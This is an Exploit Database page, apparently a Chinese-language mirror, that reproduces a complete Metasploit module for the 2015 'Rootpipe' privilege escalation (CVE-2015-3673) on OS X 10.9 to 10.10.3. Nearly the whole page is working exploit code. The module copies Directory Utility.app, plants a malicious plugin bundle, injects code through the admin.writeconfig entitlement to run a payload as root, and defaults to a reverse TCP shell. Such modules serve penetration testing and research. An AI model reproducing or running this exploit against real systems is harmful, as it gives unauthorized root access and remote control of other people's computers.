Apple Mac OSX Entitlements – ‘Rootpipe’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2015-08-31
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/38036/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit4 < Msf::Exploit::Local
  
  Rank = GreatRanking
  
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
  'Description'=> %q{
  This module exploits the rootpipe vulnerability and bypasses Apple's initial
  fix for the issue by injecting code into a process with the 'admin.writeconfig'
  entitlement.
  },
  'Author' => [
  'Emil Kvarnhammar', # Vulnerability discovery and PoC
  'joev'# Copy/paste monkey
  ],
  'References' => [
  ['CVE', '2015-3673'],
  ['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
  ],
  'DisclosureDate' => 'Jul 1 2015',
  'License'=> MSF_LICENSE,
  'Platform' => 'osx',
  'Arch' => ARCH_X86_64,
  'SessionTypes' => ['shell'],
  'Privileged' => true,
  'Targets'=> [
  ['Mac OS X 10.9-10.10.3', {}]
  ],
  'DefaultTarget'=> 0,
  'DefaultOptions' => {
  'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
  'PrependSetreuid' => true
  }
  ))
  
  register_options([
  OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
  ])
  end
  
  def check
  if ver? && admin?
  vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  print_status("Copying Directory Utility.app to #{new_app}")
  cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
  cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
  
  print_status("Writing bundle plist to `#{plist_file}'")
  write_file(plist_file, plist)
  
  print_status("Writing payload to `#{payload_file}'")
  write_file(payload_file, binary_payload)
  register_file_for_cleanup(payload_file)
  
  print_status("Writing malicious shared library to `#{exploit_file}'")
  write_file(exploit_file, plugin_exploit)
  
  print_status("Running Directory Utility.app")
  cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
  
  print_status("Deleting Directory Utility.app")
  cmd_exec('rm -Rf "#{new_app}"')
  
  print_status('Executing payload...')
  cmd_exec("/bin/sh -c '#{root_file} &'")
  end
  
  def ver?
  Gem::Version.new(get_sysinfo['ProductVersion']).between?(
  Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
  )
  end
  
  def admin?
  cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end
  
  def sploit
  "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end
  
  def plugin_exploit
  File.read(File.join(
  Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
  ))
  end
  
  def binary_payload
  Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end
  
  def exploit_file
  "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
  end
  
  def plist_file
  "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
  end
  
  def new_app
  @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
  end
  
  def plist
  %Q|
  <?xml version="1.0" encoding="UTF-8"?>
  <plist version="1.0">
  <dict>
  <key>CFBundleGetInfoString</key>
  <string>RootpipeBundle</string>
  <key>CFBundleExecutable</key>
  <string>RootpipeBundle</string>
  <key>CFBundleIdentifier</key>
  <string>com.root.pipe</string>
  <key>CFBundleName</key>
  <string>RootpipeBundle</string>
  <key>CFBundleShortVersionString</key>
  <string>0.01</string>
  <key>CFBundleInfoDictionaryVersion</key>
  <string>6.0</string>
  <key>CFBundlePackageType</key>
  <string>APPL</string>
  <key>IFMajorVersion</key>
  <integer>0</integer>
  <key>IFMinorVersion</key>
  <integer>1</integer>
  </dict>
  </plist>
  |
  end
  
  def payload_file
  @payload_file ||=
  "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end
  
  def root_file
  @root_file ||=
  "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end
  
  end